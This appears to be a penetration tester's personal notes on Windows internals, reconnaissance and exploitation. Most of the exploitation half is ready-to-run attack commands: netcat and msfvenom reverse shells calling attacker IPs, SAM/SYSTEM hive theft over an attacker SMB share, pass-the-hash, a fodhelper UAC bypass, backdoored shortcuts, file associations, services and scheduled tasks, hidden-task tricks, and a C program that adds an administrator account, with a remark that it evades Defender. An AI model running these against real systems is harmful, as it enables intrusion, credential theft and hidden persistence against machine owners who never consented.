Basics

Common user types

Common Windows user types

  • Local Admin
  • Local User
  • Guest User
  • Domain User
  • Domain Admin

Note that non-admin domain users may still be local admins.

Link to original

Important local service accounts

Windows local service accounts

  • LocalSystem — The account used by the OS itself; essentially more powerful than an normal user account in the Administrators group.
  • Local Service — The default account used by Windows services; it has minimal privileges and uses anonymous network connections.
  • Network Service — Essentially the same as the Local Service user, but uses the OS (“computer”) credentials when authenticating over the network.
Link to original

Permissions

Windows permissions

Windows access is default-deny.

Windows folder permissions:

  • Read — Permits viewing and listing of files and subfolders
  • Write — Permits adding of files and subfolders
  • Read & Execute — Permits viewing and listing of files and subfolders as well as executing of files; inherited by files and folders
  • List Folder Contents — Permits viewing and listing of files and subfolders as well as executing of files; inherited by folders only
  • Modify — Permits reading and writing of files and subfolders as well as executing of files; allows deletion of the folder
  • Full Control — Permits reading, writing, changing, and deleting of files and subfolders

Windows file permissions:

  • Read — Permits viewing or accessing of the file’s contents
  • Write — Permits writing to a file
  • Read & Execute — Permits viewing and accessing of the file’s contents as well as executing of the file
  • List Folder Contents — N/A
  • Modify — Permits reading and writing of the file as well as executing of the file; allows deletion of the file
  • Full Control — Permits reading, writing, changing and deleting of the file

The biggest differences between Windows and UNIX permissions:

  • Windows doesn’t have as fine-grained of control for a given user or group.
  • Windows has much more fine-grained control across users and groups (there’s no limit of three permission sets).
  • The ability to delete a folder or file, and to change its permissions, are essentially considered to be distinct “sub-permissions”.

As much as it pains me to say it, in many ways the Windows permission mode is much better than the (pre-ACL) Linux model.

Link to original

Paths

Unquoted path handling in Windows

When Windows encounters an unquoted path it tries all possible paths, from shortest to longest. Thus C:\Program Files\Application Path\App.exe will cause Windows to look for the following executables, in order:

  • C:\Program.exe
  • C:\Program Files\Application.exe
  • C:\Program Files\Application Path\App.exe

If an executable is found on a shorter path, then the remainder of the (unquoted) path is treated as command line parameters.

Link to original

Startup

Startup folder

Windows Startup folder

Individual startup folders are located at C:\Users\$USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup .

The shared startup folder is at C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup; any shortcut placed here will spawn an application on any (normal) user login.

(The “contents” of a user’s Startup folder is the union of these two folders. If memory serves, the user folder will override the system folder for items with exactly the same name. Note that executables can be dropped into this folder in addition to shortcuts, though doing so may make it more difficult to hide a backdoor…)

Link to original

Run/RunOnce

Windows Run and RunOnce Registry keys

Startup programs can also be configured in the registry:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU applies to the current user, while HLKM applies to everyone.

Entries under Run will run every time the user logs on, while those under RunOnce will only be executed a single time.

Create a REG_EXPAND_SZ registry entry under the appropriate key that points to the appropriate payload.

Link to original

WinLogon

How to exploit the WinLogon initialization sequence

WinLogin is a Windows component that loads a user profile right after authentication (amongst other things). The WinLogin initialization sequence is defined in the HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinLogon\ registry key. This will contain two values:

  • Userinit, which points to userinit.exe, and
  • shell which usually points to explorer.exe.

Do not replace these files! Instead, follow the initial command with your payload, separating the two with a comma:

C:\Windows\System32\userinit.exe,C:\Windows\System32\evil.exe
Link to original

Logon scripts

Windows logon scripts

The userinit.exe binary checks for an environment variable called UserInitMprLogonScript. This variable isn’t set by default, but if defined then userinit.exe will run any script it specifies.

Unfortunately, there’s no way to set this globally — you have to do it one user at a time in the HKCU\Environment Registry key. Just create a new Expandable String Value entry called UserInitMprLogonScript in this key that points to the location of your payload.

Link to original

Services

Windows services

Note that Windows services need to use an additional set of API calls that are not normally implemented in regular executables. While it is possible to run a normal executable as a service, the command will not survive for long (making a stable reverse shell impossible) and will always registered as failed (potentially alerting defenders).

Service security

Windows service security

Service configurations are stored in the Registry under HKLM\SYSTEM\CurrentControlSet\Services; here the user is represented by the ObjectName value. DACLs are stored under each service as a Security sub-key.

Link to original

Loading drivers

How to load drivers in Windows

If binPath points to a driver (.sys) rather than an executable, then that driver will be loaded into the kernel when the service is started!

Link to original

Link to original

Firewall

netsh

Check Windows Firewall state:

netsh advfirewall show currentprofile

See all Windows Firewall rules for inbound connections:

netsh advfirewall firewall show rule dir=in name=all

Be aware that most built-in rules on Windows are bound to particular applications. But admins are lazy, and seldom bind custom rules to explicit applications. There’s no 100% reliable way to identify custom rules from the command line, but they’ll often have obvious naming conventions.

See all Windows Firewall rules for outbound connections:

netsh advfirewall firewall show rule dir=out name=all

Punch a hole in the Windows Firewall for ports 80, 443, and 4444:

netsh advfirewall firewall add action=allow name=tunnel_in `
	dir=in protocol=tcp localport="80,443,4444"
netsh advfirewall firewall add action=allow name=tunnel_out `
	dir=out protocol=tcp localport="80,443,4444"

In general you don’t want to turn off the Windows Firewall, as doing so will generate a popup for any users currently logged into the machine.

Link to original

Event logs

Windows event logs

Log types

  • Application — Contains events logged by applications. For example, a database application might record a file error. The application developer decides which events to record.
  • Security — Contains events such as valid and invalid logon attempts, as well as events related to resource use such as creating, opening, or deleting files or other objects. An administrator can start auditing to record events in the security log.
  • System — Contains events logged by system components, such as the failure of a driver or other system component to load during startup.
  • [CustomLog] — Contains events logged by applications that create a custom log. Using a custom log enables an application to control the size of the log or attach ACLs for security purposes without affecting other applications.

Log fields

  • Type — Warning, error, information, etc.
  • Time — Date/time for the computer sending the log
  • Computer — Computer name
  • Provider Type — The facility that generated the event (generally the Windows Event Log)
  • Provider Name — The name of the log (Application, Security, etc.)
  • Source — Application
  • Event ID — Standardized (not unique!) identifier
  • Description — Self-explanatory

Microsoft has more detailed documentation.

Event types

  • Error — An event that indicates a significant problem such as loss of data or loss of functionality. For example, if a service fails to load during startup, an Error event is logged.
  • Warning — An event that is not necessarily significant, but may indicate a possible future problem. For example, when disk space is low, a Warning event is logged. If an application can recover from an event without loss of functionality or data, it can generally classify the event as a Warning event.
  • Information — An event that describes the successful operation of an application, driver, or service. For example, when a network driver loads successfully, it may be appropriate to log an Information event. Note that it is generally inappropriate for a desktop application to log an event each time it starts.
  • Success Audit — An event that records an audited security access attempt that is successful. For example, a user’s successful attempt to log on to the system is logged as a Success Audit event.
  • Failure Audit — An event that records an audited security access attempt that fails. For example, if a user tries to access a network drive and fails, the attempt is logged as a Failure Audit event.

Microsoft has more detailed documentation.

Event IDs

Windows event IDs

  • 104 — Event log was cleared
  • 1102 — Audit log was cleared (517 on Windows 2003 and earlier)
  • 4104 — PowerShell command and script logging
  • 4626 — Successful logon
    • LogonType 3 represents a (generic) network login
    • LogonType 9 represents a logon where the outbound credentials are different than the credentials used to authenticate to the account that is initiating that login (only logged by the host initiating the connection, however)

It’s hard to find documentation about event ID, and the meaning seems to shift between versions of Windows.

Link to original

Link to original

DLLs

Windows DLL search order

The search order varies depending on the state of SafeDllSearchMode.

Windows DLL search order if SafeDllSearchMode is enabled:

  • The application directory
  • The system directory (as returned by GetSystemDirectory())
  • The 16-bit (!) system directory
  • The Windows directory (as returned by GetWindowsDirectory())
  • The current directory (!)
  • The system PATH (!)

Windows DLL search order if SafeDllSearchMode is disabled:

  • The application directory
  • The current directory (!)
  • The system directory (as returned by GetSystemDirectory())
  • The 16-bit (!) system directory
  • The Windows directory (as returned by GetWindowsDirectory())
  • The system PATH (!)

Note that it seems more-or-less impossible to determine what DLLs an application is searching for without having SYSTEM access already (so tools like ProcMon can be run).

Link to original

NTLM hashes

NTLM hashes

The Windows NT family uses NTLM for (network) logins, and stores hashes in the NT hash format, which is really just the md4 hash of the UTF-16-LE encoding of the user password (UTF-16-LE is the little endian version of UTF-16). While NTLM is the login protocol, people commonly call NT hashes “NTLM” hashes.

The “LM” in “NTLM” references the pre-NT password hashing mechanism, LM. LM hashes are constructed in an absolutely batshit crazy fashion, and are much weaker than (the already weak) NT hashes.

Windows passwords are stored in the SAM, but NT and LM hashes (which can coexist on the same system) are stored in different data structures.

Link to original

WinRM

Windows remote management

Windows Remote Management (WinRM) is basically PowerShell-over-HTTP. It requires access to TCP 5985 (unencrypted) or TCP 5986 (encrypted).

Link to original

Reconnaissance

Important commands

Useful built-in commands for Windows reconnaissance

Link to original

Permissions

icacls

Use icacls or Get-Acl $PATH | Format-List in PowerShell to check permissions at the command line. The icacls tool can also be used to update Windows ACLs.

Both of these tools produce output that is somewhat different than that of the “Security” tab in the file or folder properties:

  • (I) — permission inherited from the parent container
  • (F) — full access (full control)
  • (M) — modify right/access
  • (OI) — object inherit
  • (IO) — inherit only
  • (CI) — container inherit
  • (RX) — read and execute
  • (AD) — append data (add subdirectories)
  • (WD) — write data and add files

Note that the Windows File Explorer only displays the first ACL for a particular user or group, but that Windows allows multiple ACLs to be applied! This means that the File Explorer does not always show you the actual permissions a user/group will have — you really do need to use icacls or Get-Acl.

In the case of multiple ACLs, or when a user is part of two groups with different groups, keep in mind that allow permissions only override inherited deny permissions. Explicitly set deny permissions cannot be overridden.

Link to original

Querying the registry

reg

The reg binary is used to interact with the Windows registry from the command line.

reg query $REGISTRY_PATH

Registry paths will typically start with HKLM (HKey Local Machine), HKCU (HKey Current User), etc.

Link to original

netstat

netstat

The netstat command is found on both Linux and Windows, though the two versions have slightly different options.

LinuxWindowsDescription
-a-aShows all sockets (listening and established)
-iShows per interface statistics
-lShow only listening ports
-n-nDo not resolve IP addresses or port numbers
-p-obShow PID and binary using the socket (needs root)
-sShow protocol statistics
-t-p TCPShow TCP sockets only
-u-p UDPShow UDP sockets only
-xShow UNIX sockets (kernel-only “network”) only

On Windows, if you know the PID of a process, you can use netstat + findstr to quickly find out what ports its listening on:

netstat -noa | findstr "LISTENING" | findstr "$PID"
Link to original

systeminfo

systeminfo

The Windows systeminfo command displays a lot of information! Use findstr to filter its output:

systeminfo | findstr /B /C:"OS Name" `
                        /C:"OS Version" `
                        /C:"System Type"

This can be used to semi-reliably determine if a machine is part of a domain.

systeminfo | findstr Domain

(Non-AD joined machines will almost always use WORKGROUP for the Domain, while AD-joined machines will often use a fully qualified DNS domain here.)

Link to original

Potentially interesting files

PowerShell history

PowerShell history file

View PowerShell’s history.

type $Env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Use %USERPROFILE% instead of $Env:USERPROFILE if running from cmd.exe.

Link to original

Unattended Windows installation data

Windows unattended installation data

Unattended Windows installations still need an administrative account; credentials can be left in one of the following files (if not cleaned up):

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

Look for the <Credentials/> block.

Link to original

IIS configuration data

IIS configuration data

Placed where IIS stores passwords:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\$SOME_VERSION_STRING\Config\web.config

Look for the connectionString directive.

Link to original

wmic

wmic

The wmic command on Windows is extremely useful, but is also deprecated (because of its usefulness to attackers!). It can be used on Windows 10 21H1 and earlier. For later systems, PowerShell command-lets will need to be used instead (which increases the risk that activity will be logged).

  • wmic product get name,version,vendor — list all installed software (but misses 32-bit applications installed on a 64-bit OS)
  • wmic service get name,displayname,pathname,startmode — list all services
  • wmic qfe get caption,description,hotfixid,installedon — list installed updates
  • wimc service list brief — another way of listing services
  • wmic service where "name like '$SERVICE_NAME'" get name,pathname — get information about a particular service
  • wmic /namespace:\root\securitycenter2 path antivirusproduct — enumerate antivirus
  • wmic useraccount get name,sid — Display SIDs for all (local) users

Remote process creation

How to run a remote command with wmic

wmic.exe /user:$TARGET_USER `
         /password:$TARGET_PASSWORD `
         /node:$TARGET_HOST `
    process call create "$SOME_COMMAND"
Link to original

Install an MSI package

How to remotely install a Windows package with wmic

wmic.exe /user:$TARGET_USER `
         /password:$TARGET_PASSWORD `
         /node:$TARGET_HOST `
    product call install PackageLocation=$PATH_TO_ATTACKER_MSI
Link to original

Link to original

PowerShell

Windows reconnaissance with PowerShell

There are a lot of PowerShell commands that can be used for enumerating Windows.

# List all AD users (IFF the machine is joined to a domain!)
#
Get-ADUser -Filter *
 
# List AD users within a particular LDAP subtree
#
Get-ADUser -Filter * -SearchBase "CN=Users,DC=example,DC=com"
 
# Enumerate antivirus
#
Get-CimInstance -Namespace root/SecurityCenter2 `
                -ClassName AntivirusProduct
 
# Check if the Windows Defender service is running
#
Get-Service WinDefend
 
# Check if real-time protection is enabled for Windows
# Defender
#
Get-MpComputerStatus | select RealTimeProtectionEnabled
 
# Get information about potential threats recently detected by
# Windows Defender
#
Get-MpThreat
 
# Check the status of the Windows Firewall
#
Get-NetFirewallProfile | Format-Table Name,Enabled
 
# Disable all WIndows Firewall profiles
#
Set-NetFirewallProfile -Profile Domain,Public,Private `
                       -Enabled False
 
# List Windows Firewall rules
#
Get-NetFirewallRule | select DisplayName,Enabled,Description
 
# Two ways to check if a port can be connected to (the first
# provides more output, while the second is more suitable for
# scripting)
#
Test-NetConnection -ComputerName $IP_OR_HOSTNAME -Port $PORT
 
(New-Object System.Net.Sockets.TcpClient("$IP_OR_HOSTNAME", "$PORT")).Connected
 
# List all current Windows logs
#
Get-EventLog -List
 
# Sysmon is dangerous for an attacker! Three ways to check if
# it's running...
#
Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" }
 
Get-CimInstance win32_service `
	-Filter "Description = 'System Monitor service'"
 
Get-Service | where-object {$_.DisplayName -like "sysm"}
 
# List hidden directories
#
Get-ChildItem -Hidden -Path $SOME_PATH
 
# Get a process with a particular "image name" (generally example.exe has an image name of "example")
#
Get-Process -Name $IMAGE_NAME

When checking to see if Sysmon is running, you can also examine the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon\Operational Registry entry.

PowerShell Command History

PowerShell history file

View PowerShell’s history.

type $Env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Use %USERPROFILE% instead of $Env:USERPROFILE if running from cmd.exe.

Link to original

Link to original

Useful scripts

Useful scripts for Windows reconnaissance

Notes

  • WinPEAS is detected and quarantined by Microsoft Defender (service windefend) by default.
  • PowerUp may require an unrestricted PowerShell session (powershell -nop -exec bypass), which can raise alerts.
  • Windows Exploit Suggester analyzes the output of systeminfo, and can be run on the attacker’s machine.
  • The multi/recon/local_exploit_suggester module works through meterpreter to analyze a Windows system for potential vulnerabilities.
Link to original

Exploitation

Permissions

Admin-like Windows permissions

SeBackup / SeRestore

Windows SeBackup and SeRestore permissions

These permission allow full read (SeBackup) and write (SeRestore) access to any file. The first of these allows for exfiltration, while the second allows binaries to be replaced at will (combine with service- or task-based attacks!). The “Backup Operators” group has both of these permissions!

Backup useful registry hives:

reg save HKLM\SYSTEM $PATH_TO_HIVE_FILE
reg save HKLM\SAM $PATH_TO_HIVE_FILE

Run a local SMB server with Impacket:

impacket-smbserver -smb2support -username $CONNECTION_USER \
	-password $CONNECTION_PASSWORD $SHARE_NAME $PATH_TO_DIRECTORY

Then, just use copy on Windows:

copy $FILE \\$ATTACKER_IP\$SHARE_NAME\

Use Impacket to dump hashes from a hive and perform a pass-the-hash attack:

# Get hashes from SAM/SYSTEM hives
#
impacket-secretsdump -sam $SAM_HIVE_FILE \
	-system $SYSTEM_HIVE_FILE LOCAL
 
# Get a shell by passing a hash
#
impacket-psexec -hashes $FULL_NTLM_HASH $TARGET_USER@$TARGET_IP
Link to original

SeTakeOwnership

Windows SeTakeOwnership permission

This permission allows a user to take ownership of any file or object (!!!).

# Take ownership of a file
#
takeown /f $PATH_TO_FILE
 
# Give your user ($USERNAME) full access (F) to said file
#
icacls $PATH_TO_FILE /grant $USERNAME:F

The “standard” file to replace with cmd.exe with this trick is C:\Windows\System32\Utilman.exe, which provides accessibility services access from lock and login screens.

Link to original

SeImpersonate / SeAssignPrimaryToken

Windows SeImpersonate and SeAssignPrimaryToken permissions

These permissions allow for user impersonation. On Windows, the Local Service and Network Service accounts already have these privileges; if IIS is installed, there will also often be an IIS AppPool/DefaultAppPool service account with these permissions as well.

However, it isn’t enough to just have access to a service running as a user with these permissions, as Windows will not allow an application to arbitrarily impersonate a user. Instead, we must have a service and then trick/force a highly privileged account to connect to it, at which point impersonation will be allowed.

One way to do this is using the RogueWinRM exploit. The idea here is that when a user logs in, the BITS service creates a connection on port 5985 to the (local) WinRM service (which is used to execute PowerShell commands) as SYSTEM. If the WinRM service isn’t running, RogueWinRM can be run instead to capture these connections (I’m guessing that the WinRM service can also be back-doored using RogueWinRM directly, but that doing so may interfere with system functionality?).

Example RogueWinRM command line:

C:\RogueWinRM.exe -p C:\nc64.exe `
                  -a "-e cmd.exe 10.13.25.33 4442"
Link to original

Link to original

Bulk editing permissions

How to bulk edit Windows permissions

Privileges can also be manipulated/assigned to users in bulk using the secedit tool

  1. Dump system privileges: secedit /export /cfg config.inf.
  2. Edit config.inf, appending the user you want to have a given privilege to that privilege’s assignment line (comma-delineated list).
  3. Re-import the system privileges: secedit /import /cfg config.inf /db config.sdb & secedit /configure /db config.sdb /cfg config.inf
Link to original

Service ACLs

Windows service ACLs

For connecting to services (such as WinRM), it’s often possible to manipulate the service ACL rather than the user’s privileges. For example, adding a user to the Microsoft.PowerShell security descriptor with the “Full Control” permission will enable access to the WinRM service, regardless of the permissions explicitly assigned to the user.

# Note that the below PowerShell command will pull up a GUI ACL
# configuration dialog
#
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

The advantage to manipulating user privileges and service ACLs directly is that it’s less obvious that a user is back-doored.

Link to original

DLLs

How to exploit the Windows DLL search order

Exploiting the Windows DLL search order is basically the same idea as exploiting the LD_LIBRARY_PATH on Linux.

A stub malicious DLL:

#include <windows.h>
 
BOOL WINAPI DllMain
(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
	if (dwReason == DLL_PROCESS_ATTACH) {
		system("cmd.exe /C whoami > C:\Temp\dll.txt");
		ExitProcess(0);
	}
	return TRUE;
}

Compile with mingw (on Linux!):

x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
Link to original

Windows scripting host

Windows Scripting Host

The Windows Scripting Host (WSH) consists of two tools, cscript.exe for command-line scripts and wscript.exe for UI scripts, and executes Visual Basic scripts (though it doesn’t care about the extension). WSH operates with regular user privileges, not admin privileges.

An example VBScript:

Dim message                ' Create the variable message
message = "Welcome to THM" ' Set the variable message
MsgBox message             ' Display message using a pop-up dialog

Executing a program requires creating a “shell” object:

Set shell = WScript.CreateObject("Wscript.Shell")
 
' Note the space after calc.exe! This is required because of
' some weird interactions between wscript.exe/cscript.exe and
' the VB runtime. Alternately, TRIPLE double quotes can be
' used instead.
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
 
' Alternate way to call calc.exe.
shell.Run("""C:\Windows\System32\calc.exe""" & WScript.ScriptFullName),0,True

It appears that recent versions of Windows may severely limit which binaries can be called from the wscript.Shell object; calc.exe works, but pretty much nothing else does.

Link to original

WinRM

How to use Windows Remote Management

IMPORTANT

By default, UAC restricts WinRM calls to domain admins and the default local “Administrator” account. Local Windows admins cannot call this service without first disabling UAC!

WARNING

Admin-ish privileges (including privileges associated with the Backup Operators group) are stripped by default when using WinRM. To enable this access, we need to set the LocalAccountTokenFilterPolicy registry key to 1.

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Windows remote management

Windows Remote Management (WinRM) is basically PowerShell-over-HTTP. It requires access to TCP 5985 (unencrypted) or TCP 5986 (encrypted).

Link to original

WinRS

winrs

winrs.exe is an older application used to interact with WinRM.

winrs.exe -u:$TARGET_USER `
          -p:$TARGET_PASSWORD `
          -r:$TARGET_HOST $COMMAND

This interface has been largely deprecated in favor of using PowerShell, and may not even be present on recent versions of Windows.

Link to original

PowerShell

How to use WinRM with PowerShell

Many large companies will enable PowerShell remoting on all machines in order to ease IT support burdens (by default, remoting is only enabled on domain controllers).

# Create PSCredential object for authentication.
#
$username = "$TARGET_USER";
$password = "$TARGET_PASSWORD";
$SECURE_PASSWORD = ConvertTo-SecureString "$TARGET_PASSWORD" `
                                          -AsPlainText -Force;
$CREDENTIAL_OBJECT = New-Object `
                   System.Management.Automation.PSCredential `
                   $TARGET_USER, $SECURE_PASSWORD;
 
# Enter an interactive PowerShell session on the $TARGET_HOST.
#
Enter-PSSession -ComputerName $TARGET_HOST `
                -Credential $CREDENTIAL_OBJECT
 
# Alternately, we can pass commands directly as "script
# blocks". Note that the $POWERSHELL_SCRIPT does not have
# access to any variables in the host script or session, as
# its sent to $TARGET_HOST for execution (though this can be
# worked around using the -ArgumentList parameter, if
# necessary).
#
Invoke-Command -ComputerName $TARGET_HOST `
               -Credential $CREDENTIAL_OBJECT `
               -ScriptBlock {
                    $POWERSHELL_SCRIPT
                }
Link to original

Evil-WinRM

File transfers in Evil-WinRM

Evil-WinRM does have a built-in download command for transferring files, but it’s sloooow

Link to original

Link to original

Services

How to exploit Windows services

Local services

How to manipulate local Windows services

Existing Windows services can have backdoors added to them using Metasploit’s msfvenom. Begin by finding a candidate service:

# Get a list of all available services
#
sc.exe query state=all
 
# Query information about an existing service. We want a
# service with three properties:
#
#    1. The BINARY_PATH_NAME points to our payload,
#    2. The START_TYPE is "auto" so it runs without user
#       interaction, and
#    3. The SERVICE_START_NAME (the account which the service
#       runs under) is "LocalSystem".
#
# Note that not every service can be queried, however; the
# ability to do so is controlled by a special per-service
# permission (a Discressionary Access Control List, or DACL).
#
sc.exe qc $SERVICE_NAME

Create a replacement service file using msfvenom (alternately, a backdoor could be added directly to the binary):

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe-service -o $SERVICE_EXE

The use of exe-service here rather than exe ensures that the correct APIs are available. Alternately, if you’re not trying to be stealthy than a simple application can be used instead (this will run successfully, but register as a failure in the Windows event logs).

#include <stdlib.h>
 
int main() {
	int i;
 
	i = system("net user USERNAME PASSWORD /add");
	i = system("net localgroup administrators USERNAME /add");
 
	return 0;
}

USERNAME and PASSWORD obviously need to be updated to fit the current use case. Unlike msfvenom payloads, as of August 17th 2022 binaries compiled from this code are not detected as malicious by Windows Defender.

Finally, update the service definition:

# NOTE: A space is required after equals signs for this
# command! It's not just a weird typo below!
#
sc.exe config $SERVICE_NAME `
	binPath= "$PATH_TO_REVERSE_SHELL_EXE" `
	start= auto obj= "LocalSystem"`

If the service executable is specified with an unquoted path, then it’s only necessary to place the malicious binary earlier in the implicit search path.

Link to original

Remote services

How to manipulate remote Windows services

IMPORTANT

By default, UAC restricts remote sc.exe calls to domain admins and the default local “Administrator” account. Local Windows admins cannot call this service remotely without first disabling UAC!

The sc.exe command can also be used to create and manipulate services on remote machines. This uses the Windows RPC (TCP 135), but will fall back to named pipes over SMB (TCP 445) or NetBIOS (TCP 139). (In fact, this is how sc.exe works locally as well; the only difference is that in this case a local named pipe is always used.)

# Create $ATTACKER_SERVICE on the $TARGET_HOST.
#
sc.exe \\$TARGET_HOST create $ATTACKER_SERVICE `
                      binPath= "$SOME_COMMAND" start= auto
 
# Invoke $ATTACKER_SERVICE.
#
sc.exe \\$TARGET_HOST start $ATTACKER_SERVICE
 
# Make sure that $ATTACKER_SERVICE is really dead.
#
sc.exe \\$TARGET_HOST stop $ATTACKER_SERVICE
 
# Clean up after yourself.
#
sc.exe \\$TARGET_HOST delete $ATTACKER_SERVICE

Note that this is a blind attack — there will be no output indicating success or failure.

Link to original

Link to original

Tasks

How to exploit Windows tasks

Local tasks

How to manipulate local Windows tasks

Use the built-in schtasks command to create and manipulate Windows tasks (basically the equivalent of *NIX cron jobs).

# List scheduled tasks
#
schtasks
 
# View details about a scheduled task
#
schtasks /query /tn $TASK_NAME /fo list /v
 
# Check the permissions of an executable
#
icacls $PATH_TO_BINARY
 
# Modify the permissions (if possible/desired)
#
icacls $PATH_TO_BINARY /grant $GROUP:$PERMISSION
 
# You can overwrite files in Windows in the same way you'd do
# in Linux (however, this can cause issues with line
# endings... probably best to just use notepad.exe here
# instead)
#
echo $MALICIOUS_BINARY_AND_ARGUMENTS > $PATH_TO_BAT_TO_OVERWRITE
 
# Force a task to run (iff the current user has permission to
# do so)
#
schtasks /run /tn $TASK_NAME

If a task points to a file that you’ve obtained write access to, then that file can be altered without changing the underlying task.

It may also be possible to create your own tasks.

# Creates a task that executes a netcat reverse shell back to
# the attacker. "/sc" and "/mo" indicate that the task should
# be run every minute. "/ru" indicates that the task will run
# with SYSTEM privileges.
#
schtasks /create /sc minute /mo 1 /tn $TASK_NAME `
	/tr "$NETCAT_PATH -e cmd.exe $ATTACKER_IP $ATTACKER_PORT" `
	/ru SYSTEM
 
# Checks to see if the task was created successfully.
#
schtasks /query /tn $TASK_NAME

Stealthy tasks

How to hide Windows tasks using PsExec

Deleting the task Security Descriptor will make the task invisible to any user in the system. Note that this requires PsExec!

  1. Use PsExec64.exe -s -i regedit to open regedit with SYSTEM privileges.

  2. Search in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ for the task to hide. Under the key for that task, there will be a value named SD that contains the security descriptor. Simply delete it.

Link to original

Link to original

Remote tasks

How to manipulate remote Windows tasks

IMPORTANT

By default, UAC restricts remote schtasks calls to domain admins and the default local “Administrator” account. Local Windows admins cannot call this service remotely without first disabling UAC!

The schtasks command can also be used to create and manipulate services on remote machines. This uses the Windows RPC (TCP 135), but will fall back to named pipes over SMB (TCP 445) or NetBIOS (TCP 139). (In fact, this is how schtasks works locally as well; the only difference is that in this case a local named pipe is always used.)

# Create $ATTACKER_TASK on the $TARGET_HOST. Note that /sd
# (start date) and /st (start time) don't matter if we're
# invoking the task manually, as we do next.
#
schtasks /s $TARGET_HOST /RU "SYSTEM" /create `
         /tn "$ATTACKER_TASK" /tr "$SOME_COMMAND" /sc ONCE `
         /sd 06/25/2023 /st 16:10
 
# Invoke $ATTACKER_TASK.
#
schtasks /s $TARGET_HOST /run /TN "$ATTACKER_TASK"
 
# Clean up after yourself.
#
schtasks /S $TARGET_HOST /TN "$ATTACKER_TASK" /DELETE /F
Link to original

Link to original

Shortcut files

How to exploit Windows shortcut files

Shortcuts can be modified to run a script instead. A simple PowerShell script that fires off one executable and then another might look like:

# Create a reverse shell (note that netcat is something that
# the attacker need to provide themselves!)
#
Start-Process -NoNewWindow "C:\Windows\System32\nc.exe" `
	"-e cmd.exe 1.2.3.4 1337"
 
# Fire off the application the user is expecting
#
C:\Windows\System32\calc.exe

To ensure that the script itself doesn’t generate a PowerShell window, it will need to be called like so:

powershell.exe -WindowStyle hidden C:\Windows\System32\calc.ps1
Link to original

File associations

How to exploit Windows file associations

Hijacking file associations is the same basic idea as hijacking shortcut files. This is a two-step process.

  1. Locate the “programmatic ID” of the extension you wish to hijack under HKLM\Software\Classes (this will be the key’s (Default) value).
  2. The programmatic ID will also be in HKLM\Software\Classes and will have the command path as the (Default) value for its shell\open\command key.

Note that the programmatic ID command will probably include the %1 placeholder, which is used to pass in the file path. This requires a slightly different script than is used to backdoor shortcuts:

# Create a reverse shell (note that netcat is something that
# the attacker need to provide themselves!)
#
Start-Process -NoNewWindow "C:\Windows\System32\nc.exe" `
	"-e cmd.exe 1.2.3.4 1337"
 
# Fire off the application the user is expecting and pass in
# the supplied file path
#
C:\Windows\System32\notepad.exe "$args"

Note the quoting here, as well as the inclusion of the entire $args array. Most of the documentation I’ve found online suggests using $args[0] as an unquoted argument, but this approach did not work in my testing.

Link to original

“Feature on demand” helper

How to exploit the Windows “Feature on Demand” Helper

The fodhelper binary can be abused to gain an admin shell on Windows boxes with a couple of registry key changes. They key (heh) here is to use the CurVer registry key to point fodhelper.exe to a different registry location; otherwise most AV solutions will catch this change and block it (though sometimes the command will still execute).

New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" `
	-Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force
    
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" `
	-Name "(default)" -value ".pwn" -Force
Link to original

Use the Windows Firewall to relay ports

How to use the Windows Firewall to relay ports

netsh interface portproxy add v4tov4 `
      listenport=$LOCAL_PORT listenaddress=0.0.0.0 `
      connectport=$REMOTE_PORT connectaddress=$REMOTE_IP

This works on Windows 7 and later.

Link to original